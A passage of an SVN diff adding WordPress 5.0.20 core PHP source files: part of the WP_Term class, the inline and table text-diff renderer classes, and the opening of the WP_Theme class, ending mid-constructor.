+	 * The term's taxonomy name.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $taxonomy = '';
+
+	/**
+	 * The term's description.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $description = '';
+
+	/**
+	 * ID of a term's parent term.
+	 *
+	 * @since 4.4.0
+	 * @var int
+	 */
+	public $parent = 0;
+
+	/**
+	 * Cached object count for this term.
+	 *
+	 * @since 4.4.0
+	 * @var int
+	 */
+	public $count = 0;
+
+	/**
+	 * Stores the term object's sanitization level.
+	 *
+	 * Does not correspond to a database field.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $filter = 'raw';
+
+	/**
+	 * Retrieve WP_Term instance.
+	 *
+	 * @since 4.4.0
+	 * @static
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param int    $term_id  Term ID.
+	 * @param string $taxonomy Optional. Limit matched terms to those matching `$taxonomy`. Only used for
+	 *                         disambiguating potentially shared terms.
+	 * @return WP_Term|WP_Error|false Term object, if found. WP_Error if `$term_id` is shared between taxonomies and
+	 *                                there's insufficient data to distinguish which term is intended.
+	 *                                False for other failures.
+	 */
+	public static function get_instance( $term_id, $taxonomy = null ) {
+		global $wpdb;
+
+		$term_id = (int) $term_id;
+		if ( ! $term_id ) {
+			return false;
+		}
+
+		$_term = wp_cache_get( $term_id, 'terms' );
+
+		// If there isn't a cached version, hit the database.
+		if ( ! $_term || ( $taxonomy && $taxonomy !== $_term->taxonomy ) ) {
+			// Any term found in the cache is not a match, so don't use it.
+			$_term = false;
+
+			// Grab all matching terms, in case any are shared between taxonomies.
+			$terms = $wpdb->get_results( $wpdb->prepare( "SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE t.term_id = %d", $term_id ) );
+			if ( ! $terms ) {
+				return false;
+			}
+
+			// If a taxonomy was specified, find a match.
+			if ( $taxonomy ) {
+				foreach ( $terms as $match ) {
+					if ( $taxonomy === $match->taxonomy ) {
+						$_term = $match;
+						break;
+					}
+				}
+
+			// If only one match was found, it's the one we want.
+			} elseif ( 1 === count( $terms ) ) {
+				$_term = reset( $terms );
+
+			// Otherwise, the term must be shared between taxonomies.
+			} else {
+				// If the term is shared only with invalid taxonomies, return the one valid term.
+				foreach ( $terms as $t ) {
+					if ( ! taxonomy_exists( $t->taxonomy ) ) {
+						continue;
+					}
+
+					// Only hit if we've already identified a term in a valid taxonomy.
+					if ( $_term ) {
+						return new WP_Error( 'ambiguous_term_id', __( 'Term ID is shared between multiple taxonomies' ), $term_id );
+					}
+
+					$_term = $t;
+				}
+			}
+
+			if ( ! $_term ) {
+				return false;
+			}
+
+			// Don't return terms from invalid taxonomies.
+			if ( ! taxonomy_exists( $_term->taxonomy ) ) {
+				return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
+			}
+
+			$_term = sanitize_term( $_term, $_term->taxonomy, 'raw' );
+
+			// Don't cache terms that are shared between taxonomies.
+			if ( 1 === count( $terms ) ) {
+				wp_cache_add( $term_id, $_term, 'terms' );
+			}
+		}
+
+		$term_obj = new WP_Term( $_term );
+		$term_obj->filter( $term_obj->filter );
+
+		return $term_obj;
+	}
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param WP_Term|object $term Term object.
+	 */
+	public function __construct( $term ) {
+		foreach ( get_object_vars( $term ) as $key => $value ) {
+			$this->$key = $value;
+		}
+	}
+
+	/**
+	 * Sanitizes term fields, according to the filter type provided.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $filter Filter context. Accepts 'edit', 'db', 'display', 'attribute', 'js', 'raw'.
+	 */
+	public function filter( $filter ) {
+		sanitize_term( $this, $this->taxonomy, $filter );
+	}
+
+	/**
+	 * Converts an object to array.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array Object as array.
+	 */
+	public function to_array() {
+		return get_object_vars( $this );
+	}
+
+	/**
+	 * Getter.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $key Property to get.
+	 * @return mixed Property value.
+	 */
+	public function __get( $key ) {
+		switch ( $key ) {
+			case 'data' :
+				$data = new stdClass();
+				$columns = array( 'term_id', 'name', 'slug', 'term_group', 'term_taxonomy_id', 'taxonomy', 'description', 'parent', 'count' );
+				foreach ( $columns as $column ) {
+					$data->{$column} = isset( $this->{$column} ) ? $this->{$column} : null;
+				}
+
+				return sanitize_term( $data, $data->taxonomy, 'raw' );
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-text-diff-renderer-inline.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-text-diff-renderer-inline.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-text-diff-renderer-inline.php	(revision 56912)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Diff API: WP_Text_Diff_Renderer_inline class
+ *
+ * @package WordPress
+ * @subpackage Diff
+ * @since 4.7.0
+ */
+
+/**
+ * Better word splitting than the PEAR package provides.
+ *
+ * @since 2.6.0
+ * @uses Text_Diff_Renderer_inline Extends
+ */
+class WP_Text_Diff_Renderer_inline extends Text_Diff_Renderer_inline {
+
+	/**
+	 * @ignore
+	 * @since 2.6.0
+	 *
+	 * @param string $string
+	 * @param string $newlineEscape
+	 * @return string
+	 */
+	public function _splitOnWords($string, $newlineEscape = "\n") {
+		$string = str_replace("\0", '', $string);
+		$words  = preg_split( '/([^\w])/u', $string, -1, PREG_SPLIT_DELIM_CAPTURE );
+		$words  = str_replace( "\n", $newlineEscape, $words );
+		return $words;
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-text-diff-renderer-table.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-text-diff-renderer-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-text-diff-renderer-table.php	(revision 56912)
@@ -0,0 +1,540 @@
+<?php
+/**
+ * Diff API: WP_Text_Diff_Renderer_Table class
+ *
+ * @package WordPress
+ * @subpackage Diff
+ * @since 4.7.0
+ */
+
+/**
+ * Table renderer to display the diff lines.
+ *
+ * @since 2.6.0
+ * @uses Text_Diff_Renderer Extends
+ */
+class WP_Text_Diff_Renderer_Table extends Text_Diff_Renderer {
+
+	/**
+	 * @see Text_Diff_Renderer::_leading_context_lines
+	 * @var int
+	 * @since 2.6.0
+	 */
+	public $_leading_context_lines  = 10000;
+
+	/**
+	 * @see Text_Diff_Renderer::_trailing_context_lines
+	 * @var int
+	 * @since 2.6.0
+	 */
+	public $_trailing_context_lines = 10000;
+
+	/**
+	 * Threshold for when a diff should be saved or omitted.
+	 *
+	 * @var float
+	 * @since 2.6.0
+	 */
+	protected $_diff_threshold = 0.6;
+
+	/**
+	 * Inline display helper object name.
+	 *
+	 * @var string
+	 * @since 2.6.0
+	 */
+	protected $inline_diff_renderer = 'WP_Text_Diff_Renderer_inline';
+
+	/**
+	 * Should we show the split view or not
+	 *
+	 * @var string
+	 * @since 3.6.0
+	 */
+	protected $_show_split_view = true;
+
+	protected $compat_fields = array( '_show_split_view', 'inline_diff_renderer', '_diff_threshold' );
+
+	/**
+	 * Caches the output of count_chars() in compute_string_distance()
+	 *
+	 * @var array
+	 * @since 5.0.0
+	 */
+	protected $count_cache = array();
+
+	/**
+	 * Caches the difference calculation in compute_string_distance()
+	 *
+	 * @var array
+	 * @since 5.0.0
+	 */
+	protected $difference_cache = array();
+
+	/**
+	 * Constructor - Call parent constructor with params array.
+	 *
+	 * This will set class properties based on the key value pairs in the array.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $params
+	 */
+	public function __construct( $params = array() ) {
+		parent::__construct( $params );
+		if ( isset( $params[ 'show_split_view' ] ) )
+			$this->_show_split_view = $params[ 'show_split_view' ];
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param string $header
+	 * @return string
+	 */
+	public function _startBlock( $header ) {
+		return '';
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param array $lines
+	 * @param string $prefix
+	 */
+	public function _lines( $lines, $prefix=' ' ) {
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param string $line HTML-escape the value.
+	 * @return string
+	 */
+	public function addedLine( $line ) {
+		return "<td class='diff-addedline'>{$line}</td>";
+
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param string $line HTML-escape the value.
+	 * @return string
+	 */
+	public function deletedLine( $line ) {
+		return "<td class='diff-deletedline'>{$line}</td>";
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param string $line HTML-escape the value.
+	 * @return string
+	 */
+	public function contextLine( $line ) {
+		return "<td class='diff-context'>{$line}</td>";
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @return string
+	 */
+	public function emptyLine() {
+		return '<td>&nbsp;</td>';
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param array $lines
+	 * @param bool $encode
+	 * @return string
+	 */
+	public function _added( $lines, $encode = true ) {
+		$r = '';
+		foreach ($lines as $line) {
+			if ( $encode ) {
+				$processed_line = htmlspecialchars( $line );
+
+				/**
+				 * Contextually filters a diffed line.
+				 *
+				 * Filters TextDiff processing of diffed line. By default, diffs are processed with
+				 * htmlspecialchars. Use this filter to remove or change the processing. Passes a context
+				 * indicating if the line is added, deleted or unchanged.
+				 *
+				 * @since 4.1.0
+				 *
+				 * @param String $processed_line The processed diffed line.
+				 * @param String $line           The unprocessed diffed line.
+		 		 * @param string null            The line context. Values are 'added', 'deleted' or 'unchanged'.
+				 */
+				$line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'added' );
+			}
+
+			if ( $this->_show_split_view ) {
+				$r .= '<tr>' . $this->emptyLine() . $this->emptyLine() . $this->addedLine( $line ) . "</tr>\n";
+			} else {
+				$r .= '<tr>' . $this->addedLine( $line ) . "</tr>\n";
+			}
+		}
+		return $r;
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param array $lines
+	 * @param bool $encode
+	 * @return string
+	 */
+	public function _deleted( $lines, $encode = true ) {
+		$r = '';
+		foreach ($lines as $line) {
+			if ( $encode ) {
+				$processed_line = htmlspecialchars( $line );
+
+				/** This filter is documented in wp-includes/wp-diff.php */
+				$line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'deleted' );
+			}
+			if ( $this->_show_split_view ) {
+				$r .= '<tr>' . $this->deletedLine( $line ) . $this->emptyLine() . $this->emptyLine() . "</tr>\n";
+			} else {
+				$r .= '<tr>' . $this->deletedLine( $line ) . "</tr>\n";
+			}
+
+		}
+		return $r;
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param array $lines
+	 * @param bool $encode
+	 * @return string
+	 */
+	public function _context( $lines, $encode = true ) {
+		$r = '';
+		foreach ($lines as $line) {
+			if ( $encode ) {
+				$processed_line = htmlspecialchars( $line );
+
+				/** This filter is documented in wp-includes/wp-diff.php */
+				$line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'unchanged' );
+			}
+			if (  $this->_show_split_view ) {
+				$r .= '<tr>' . $this->contextLine( $line ) . $this->emptyLine() . $this->contextLine( $line )  . "</tr>\n";
+			} else {
+				$r .= '<tr>' . $this->contextLine( $line ) . "</tr>\n";
+			}
+		}
+		return $r;
+	}
+
+	/**
+	 * Process changed lines to do word-by-word diffs for extra highlighting.
+	 *
+	 * (TRAC style) sometimes these lines can actually be deleted or added rows.
+	 * We do additional processing to figure that out
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $orig
+	 * @param array $final
+	 * @return string
+	 */
+	public function _changed( $orig, $final ) {
+		$r = '';
+
+		// Does the aforementioned additional processing
+		// *_matches tell what rows are "the same" in orig and final. Those pairs will be diffed to get word changes
+		//	match is numeric: an index in other column
+		//	match is 'X': no match. It is a new row
+		// *_rows are column vectors for the orig column and the final column.
+		//	row >= 0: an indix of the $orig or $final array
+		//	row  < 0: a blank row for that column
+		list($orig_matches, $final_matches, $orig_rows, $final_rows) = $this->interleave_changed_lines( $orig, $final );
+
+		// These will hold the word changes as determined by an inline diff
+		$orig_diffs  = array();
+		$final_diffs = array();
+
+		// Compute word diffs for each matched pair using the inline diff
+		foreach ( $orig_matches as $o => $f ) {
+			if ( is_numeric($o) && is_numeric($f) ) {
+				$text_diff = new Text_Diff( 'auto', array( array($orig[$o]), array($final[$f]) ) );
+				$renderer = new $this->inline_diff_renderer;
+				$diff = $renderer->render( $text_diff );
+
+				// If they're too different, don't include any <ins> or <dels>
+				if ( preg_match_all( '!(<ins>.*?</ins>|<del>.*?</del>)!', $diff, $diff_matches ) ) {
+					// length of all text between <ins> or <del>
+					$stripped_matches = strlen(strip_tags( join(' ', $diff_matches[0]) ));
+					// since we count lengith of text between <ins> or <del> (instead of picking just one),
+					//	we double the length of chars not in those tags.
+					$stripped_diff = strlen(strip_tags( $diff )) * 2 - $stripped_matches;
+					$diff_ratio = $stripped_matches / $stripped_diff;
+					if ( $diff_ratio > $this->_diff_threshold )
+						continue; // Too different. Don't save diffs.
+				}
+
+				// Un-inline the diffs by removing del or ins
+				$orig_diffs[$o]  = preg_replace( '|<ins>.*?</ins>|', '', $diff );
+				$final_diffs[$f] = preg_replace( '|<del>.*?</del>|', '', $diff );
+			}
+		}
+
+		foreach ( array_keys($orig_rows) as $row ) {
+			// Both columns have blanks. Ignore them.
+			if ( $orig_rows[$row] < 0 && $final_rows[$row] < 0 )
+				continue;
+
+			// If we have a word based diff, use it. Otherwise, use the normal line.
+			if ( isset( $orig_diffs[$orig_rows[$row]] ) )
+				$orig_line = $orig_diffs[$orig_rows[$row]];
+			elseif ( isset( $orig[$orig_rows[$row]] ) )
+				$orig_line = htmlspecialchars($orig[$orig_rows[$row]]);
+			else
+				$orig_line = '';
+
+			if ( isset( $final_diffs[$final_rows[$row]] ) )
+				$final_line = $final_diffs[$final_rows[$row]];
+			elseif ( isset( $final[$final_rows[$row]] ) )
+				$final_line = htmlspecialchars($final[$final_rows[$row]]);
+			else
+				$final_line = '';
+
+			if ( $orig_rows[$row] < 0 ) { // Orig is blank. This is really an added row.
+				$r .= $this->_added( array($final_line), false );
+			} elseif ( $final_rows[$row] < 0 ) { // Final is blank. This is really a deleted row.
+				$r .= $this->_deleted( array($orig_line), false );
+			} else { // A true changed row.
+				if ( $this->_show_split_view ) {
+					$r .= '<tr>' . $this->deletedLine( $orig_line ) . $this->emptyLine() . $this->addedLine( $final_line ) . "</tr>\n";
+				} else {
+					$r .= '<tr>' . $this->deletedLine( $orig_line ) . "</tr><tr>" . $this->addedLine( $final_line ) . "</tr>\n";
+				}
+			}
+		}
+
+		return $r;
+	}
+
+	/**
+	 * Takes changed blocks and matches which rows in orig turned into which rows in final.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $orig  Lines of the original version of the text.
+	 * @param array $final Lines of the final version of the text.
+	 * @return array {
+	 *    Array containing results of comparing the original text to the final text.
+	 *
+	 *    @type array $orig_matches  Associative array of original matches. Index == row
+	 *                               number of `$orig`, value == corresponding row number
+	 *                               of that same line in `$final` or 'x' if there is no
+	 *                               corresponding row (indicating it is a deleted line).
+	 *    @type array $final_matches Associative array of final matches. Index == row
+	 *                               number of `$final`, value == corresponding row number
+	 *                               of that same line in `$orig` or 'x' if there is no
+	 *                               corresponding row (indicating it is a new line).
+	 *    @type array $orig_rows     Associative array of interleaved rows of `$orig` with
+	 *                               blanks to keep matches aligned with side-by-side diff
+	 *                               of `$final`. A value >= 0 corresponds to index of `$orig`.
+	 *                               Value < 0 indicates a blank row.
+	 *    @type array $final_rows    Associative array of interleaved rows of `$final` with
+	 *                               blanks to keep matches aligned with side-by-side diff
+	 *                               of `$orig`. A value >= 0 corresponds to index of `$final`.
+	 *                               Value < 0 indicates a blank row.
+	 * }
+	 */
+	public function interleave_changed_lines( $orig, $final ) {
+
+		// Contains all pairwise string comparisons. Keys are such that this need only be a one dimensional array.
+		$matches = array();
+		foreach ( array_keys($orig) as $o ) {
+			foreach ( array_keys($final) as $f ) {
+				$matches["$o,$f"] = $this->compute_string_distance( $orig[$o], $final[$f] );
+			}
+		}
+		asort($matches); // Order by string distance.
+
+		$orig_matches  = array();
+		$final_matches = array();
+
+		foreach ( $matches as $keys => $difference ) {
+			list($o, $f) = explode(',', $keys);
+			$o = (int) $o;
+			$f = (int) $f;
+
+			// Already have better matches for these guys
+			if ( isset($orig_matches[$o]) && isset($final_matches[$f]) )
+				continue;
+
+			// First match for these guys. Must be best match
+			if ( !isset($orig_matches[$o]) && !isset($final_matches[$f]) ) {
+				$orig_matches[$o] = $f;
+				$final_matches[$f] = $o;
+				continue;
+			}
+
+			// Best match of this final is already taken?  Must mean this final is a new row.
+			if ( isset($orig_matches[$o]) )
+				$final_matches[$f] = 'x';
+
+			// Best match of this orig is already taken?  Must mean this orig is a deleted row.
+			elseif ( isset($final_matches[$f]) )
+				$orig_matches[$o] = 'x';
+		}
+
+		// We read the text in this order
+		ksort($orig_matches);
+		ksort($final_matches);
+
+		// Stores rows and blanks for each column.
+		$orig_rows = $orig_rows_copy = array_keys($orig_matches);
+		$final_rows = array_keys($final_matches);
+
+		// Interleaves rows with blanks to keep matches aligned.
+		// We may end up with some extraneous blank rows, but we'll just ignore them later.
+		foreach ( $orig_rows_copy as $orig_row ) {
+			$final_pos = array_search($orig_matches[$orig_row], $final_rows, true);
+			$orig_pos = (int) array_search($orig_row, $orig_rows, true);
+
+			if ( false === $final_pos ) { // This orig is paired with a blank final.
+				array_splice( $final_rows, $orig_pos, 0, -1 );
+			} elseif ( $final_pos < $orig_pos ) { // This orig's match is up a ways. Pad final with blank rows.
+				$diff_array = range( -1, $final_pos - $orig_pos );
+				array_splice( $final_rows, $orig_pos, 0, $diff_array );
+			} elseif ( $final_pos > $orig_pos ) { // This orig's match is down a ways. Pad orig with blank rows.
+				$diff_array = range( -1, $orig_pos - $final_pos );
+				array_splice( $orig_rows, $orig_pos, 0, $diff_array );
+			}
+		}
+
+		// Pad the ends with blank rows if the columns aren't the same length
+		$diff_count = count($orig_rows) - count($final_rows);
+		if ( $diff_count < 0 ) {
+			while ( $diff_count < 0 )
+				array_push($orig_rows, $diff_count++);
+		} elseif ( $diff_count > 0 ) {
+			$diff_count = -1 * $diff_count;
+			while ( $diff_count < 0 )
+				array_push($final_rows, $diff_count++);
+		}
+
+		return array($orig_matches, $final_matches, $orig_rows, $final_rows);
+	}
+
+	/**
+	 * Computes a number that is intended to reflect the "distance" between two strings.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $string1
+	 * @param string $string2
+	 * @return int
+	 */
+	public function compute_string_distance( $string1, $string2 ) {
+		// Use an md5 hash of the strings for a count cache, as it's fast to generate, and collisions aren't a concern.
+		$count_key1 = md5( $string1 );
+		$count_key2 = md5( $string2 );
+
+		// Cache vectors containing character frequency for all chars in each string.
+		if ( ! isset( $this->count_cache[ $count_key1 ] ) ) {
+			$this->count_cache[ $count_key1 ] = count_chars( $string1 );
+		}
+		if ( ! isset( $this->count_cache[ $count_key2 ] ) ) {
+			$this->count_cache[ $count_key2 ] = count_chars( $string2 );
+		}
+
+		$chars1 = $this->count_cache[ $count_key1 ];
+		$chars2 = $this->count_cache[ $count_key2 ];
+
+		$difference_key = md5( implode( ',', $chars1 ) . ':' . implode( ',', $chars2 ) );
+		if ( ! isset( $this->difference_cache[ $difference_key ] ) ) {
+			// L1-norm of difference vector.
+			$this->difference_cache[ $difference_key ] = array_sum( array_map( array( $this, 'difference' ), $chars1, $chars2 ) );
+		}
+
+		$difference = $this->difference_cache[ $difference_key ];
+
+		// $string1 has zero length? Odd. Give huge penalty by not dividing.
+		if ( !$string1 )
+			return $difference;
+
+		// Return distance per character (of string1).
+		return $difference / strlen($string1);
+	}
+
+	/**
+	 * @ignore
+	 * @since 2.6.0
+	 *
+	 * @param int $a
+	 * @param int $b
+	 * @return int
+	 */
+	public function difference( $a, $b ) {
+		return abs( $a - $b );
+	}
+
+	/**
+	 * Make private properties readable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name Property to get.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		if ( in_array( $name, $this->compat_fields ) ) {
+			return $this->$name;
+		}
+	}
+
+	/**
+	 * Make private properties settable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name  Property to check if set.
+	 * @param mixed  $value Property value.
+	 * @return mixed Newly-set property.
+	 */
+	public function __set( $name, $value ) {
+		if ( in_array( $name, $this->compat_fields ) ) {
+			return $this->$name = $value;
+		}
+	}
+
+	/**
+	 * Make private properties checkable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		if ( in_array( $name, $this->compat_fields ) ) {
+			return isset( $this->$name );
+		}
+	}
+
+	/**
+	 * Make private properties un-settable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name Property to unset.
+	 */
+	public function __unset( $name ) {
+		if ( in_array( $name, $this->compat_fields ) ) {
+			unset( $this->$name );
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-theme.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-theme.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-theme.php	(revision 56912)
@@ -0,0 +1,1524 @@
+<?php
+/**
+ * WP_Theme Class
+ *
+ * @package WordPress
+ * @subpackage Theme
+ * @since 3.4.0
+ */
+final class WP_Theme implements ArrayAccess {
+
+	/**
+	 * Whether the theme has been marked as updateable.
+	 *
+	 * @since 4.4.0
+	 * @var bool
+	 *
+	 * @see WP_MS_Themes_List_Table
+	 */
+	public $update = false;
+
+	/**
+	 * Headers for style.css files.
+	 *
+	 * @static
+	 * @var array
+	 */
+	private static $file_headers = array(
+		'Name'        => 'Theme Name',
+		'ThemeURI'    => 'Theme URI',
+		'Description' => 'Description',
+		'Author'      => 'Author',
+		'AuthorURI'   => 'Author URI',
+		'Version'     => 'Version',
+		'Template'    => 'Template',
+		'Status'      => 'Status',
+		'Tags'        => 'Tags',
+		'TextDomain'  => 'Text Domain',
+		'DomainPath'  => 'Domain Path',
+	);
+
+	/**
+	 * Default themes.
+	 *
+	 * @static
+	 * @var array
+	 */
+	private static $default_themes = array(
+		'classic'         => 'WordPress Classic',
+		'default'         => 'WordPress Default',
+		'twentyten'       => 'Twenty Ten',
+		'twentyeleven'    => 'Twenty Eleven',
+		'twentytwelve'    => 'Twenty Twelve',
+		'twentythirteen'  => 'Twenty Thirteen',
+		'twentyfourteen'  => 'Twenty Fourteen',
+		'twentyfifteen'   => 'Twenty Fifteen',
+		'twentysixteen'   => 'Twenty Sixteen',
+		'twentyseventeen' => 'Twenty Seventeen',
+		'twentynineteen'  => 'Twenty Nineteen',
+	);
+
+	/**
+	 * Renamed theme tags.
+	 *
+	 * @static
+	 * @var array
+	 */
+	private static $tag_map = array(
+		'fixed-width'    => 'fixed-layout',
+		'flexible-width' => 'fluid-layout',
+	);
+
+	/**
+	 * Absolute path to the theme root, usually wp-content/themes
+	 *
+	 * @var string
+	 */
+	private $theme_root;
+
+	/**
+	 * Header data from the theme's style.css file.
+	 *
+	 * @var array
+	 */
+	private $headers = array();
+
+	/**
+	 * Header data from the theme's style.css file after being sanitized.
+	 *
+	 * @var array
+	 */
+	private $headers_sanitized;
+
+	/**
+	 * Header name from the theme's style.css after being translated.
+	 *
+	 * Cached due to sorting functions running over the translated name.
+	 *
+	 * @var string
+	 */
+	private $name_translated;
+
+	/**
+	 * Errors encountered when initializing the theme.
+	 *
+	 * @var WP_Error
+	 */
+	private $errors;
+
+	/**
+	 * The directory name of the theme's files, inside the theme root.
+	 *
+	 * In the case of a child theme, this is directory name of the child theme.
+	 * Otherwise, 'stylesheet' is the same as 'template'.
+	 *
+	 * @var string
+	 */
+	private $stylesheet;
+
+	/**
+	 * The directory name of the theme's files, inside the theme root.
+	 *
+	 * In the case of a child theme, this is the directory name of the parent theme.
+	 * Otherwise, 'template' is the same as 'stylesheet'.
+	 *
+	 * @var string
+	 */
+	private $template;
+
+	/**
+	 * A reference to the parent theme, in the case of a child theme.
+	 *
+	 * @var WP_Theme
+	 */
+	private $parent;
+
+	/**
+	 * URL to the theme root, usually an absolute URL to wp-content/themes
+	 *
+	 * @var string
+	 */
+	private $theme_root_uri;
+
+	/**
+	 * Flag for whether the theme's textdomain is loaded.
+	 *
+	 * @var bool
+	 */
+	private $textdomain_loaded;
+
+	/**
+	 * Stores an md5 hash of the theme root, to function as the cache key.
+	 *
+	 * @var string
+	 */
+	private $cache_hash;
+
+	/**
+	 * Flag for whether the themes cache bucket should be persistently cached.
+	 *
+	 * Default is false. Can be set with the {@see 'wp_cache_themes_persistently'} filter.
+	 *
+	 * @static
+	 * @var bool
+	 */
+	private static $persistently_cache;
+
+	/**
+	 * Expiration time for the themes cache bucket.
+	 *
+	 * By default the bucket is not cached, so this value is useless.
+	 *
+	 * @static
+	 * @var bool
+	 */
+	private static $cache_expiration = 1800;
+
+	/**
+	 * Constructor for WP_Theme.
+	 *
+	 * @since  3.4.0
+	 *
+	 * @global array $wp_theme_directories
+	 *
+	 * @param string $theme_dir Directory of the theme within the theme_root.
+	 * @param string $theme_root Theme root.
+	 * @param WP_Error|void $_child If this theme is a parent theme, the child may be passed for validation purposes.
+	 */
+	public function __construct( $theme_dir, $theme_root, $_child = null ) {
+		global $wp_theme_directories;
+
+		// Initialize caching on first run.
+		if ( ! isset( self::$persistently_cache ) ) {
+			/** This action is documented in wp-includes/theme.php */
+			self::$persistently_cache = apply_filters( 'wp_cache_themes_persistently', false, 'WP_Theme' );
+			if ( self::$persistently_cache ) {
+				wp_cache_add_global_groups( 'themes' );
+				if ( is_int( self::$persistently_cache ) )
+					self::$cache_expiration = self::$persistently_cache;
+			} else {
+				wp_cache_add_non_persistent_groups( 'themes' );
+			}
+		}
+
+		$this->theme_root = $theme_root;
+		$this->stylesheet = $theme_dir;
+
+		// Correct a situation where the theme is 'some-directory/some-theme' but 'some-directory' was passed in as part of the theme root instead.
+		if ( ! in_array( $theme_root, (array) $wp_theme_directories ) && in_array( dirname( $theme_root ), (array) $wp_theme_directories ) ) {
+			$this->stylesheet = basename( $this->theme_root ) . '/' . $this->stylesheet;
+			$this->theme_root = dirname( $theme_root );
+		}
+
+		$this->cache_hash = md5( $this->theme_root . '/' . $this->stylesheet );
+		$theme_file = $this->stylesheet . '/style.css';
+
+		$cache = $this->cache_get( 'theme' );
+
+		if ( is_array( $cache ) ) {
+			foreach ( array( 'errors', 'headers', 'template' ) as $key ) {
+				if ( isset( $cache[ $key ] ) )
+					$this->$key = $cache[ $key ];
+			}
+			if ( $this->errors )
+				return;
+			if ( isset( $cache['theme_root_template'] ) )
+				$theme_root_template = $cache['theme_root_template'];
+		} elseif ( ! file_exists( $this->theme_root . '/' . $theme_file ) ) {
+			$this->headers['Name'] = $this->stylesheet;
+			if ( ! file_exists( $this->theme_root . '/' . $this->stylesheet ) )
+				$this->errors = new WP_Error( 'theme_not_found', sprintf( __( 'The theme directory "%s" does not exist.' ), esc_html( $this->stylesheet ) ) );
+			else
+				$this->errors = new WP_Error( 'theme_no_stylesheet', __( 'Stylesheet is missing.' ) );
+			$this->template = $this->stylesheet;
+			$this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template ) );
+			if ( ! file_exists( $this->theme_root ) ) // Don't cache this one.
+				$this->errors->add( 'theme_root_missing', __( 'ERROR: The themes directory is either empty or doesn&#8217;t exist. Please check your installation.' ) );
+			return;
+		} elseif ( ! is_readable( $this->theme_root . '/' . $theme_file ) ) {
+			$this->headers['Name'] = $this->stylesheet;
+			$this->errors = new WP_Error( 'theme_stylesheet_not_readable', __( 'Stylesheet is not readable.' ) );
+			$this->template = $this->stylesheet;
+			$this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template ) );
+			return;
+		} else {
+			$this->headers = get_file_data( $this->theme_root . '/' . $theme_file, self::$file_headers, 'theme' );
+			// Default themes always trump their pretenders.
+			// Properly identify default themes that are inside a directory within wp-content/themes.
+			if ( $default_theme_slug = array_search( $this->headers['Name'], self::$default_themes ) ) {
+				if ( basename( $this->stylesheet ) != $default_theme_slug )
+					$this->headers['Name'] .= '/' . $this->stylesheet;
+			}
+		}
+
+		if ( ! $this->template && $this->stylesheet === $this->headers['Template'] ) {
+			/* translators: %s: Template */
+			$this->errors = new WP_Error( 'theme_child_invalid', sprintf( __( 'The theme defines itself as its parent theme. Please check the %s header.' ), '<code>Template</code>' ) );
+			$this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet ) );
+
+			return;
+		}
+
+		// (If template is set from cache [and there are no errors], we know it's good.)
+		if ( ! $this->template && ! ( $this->template = $this->headers['Template'] ) ) {
+			$this->template = $this->stylesheet;
+			if ( ! file_exists( $this->theme_root . '/' . $this->stylesheet . '/index.php' ) ) {
+				$error_message = sprintf(
+					/* translators: 1: index.php, 2: Codex URL, 3: style.css */
+					__( 'Template is missing. Standalone themes need to have a %1$s template file. <a href="%2$s">Child themes</a> need to have a Template header in the %3$s stylesheet.' ),
+					'<code>index.php</code>',
+					__( 'https://codex.wordpress.org/Child_Themes' ),
+					'<code>style.css</code>'
+				);
+				$this->errors = new WP_Error( 'theme_no_index', $error_message );
+				$this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template ) );
+				return;
+			}
+		}
+
+		// If we got our data from cache, we can assume that 'template' is pointing to the right place.
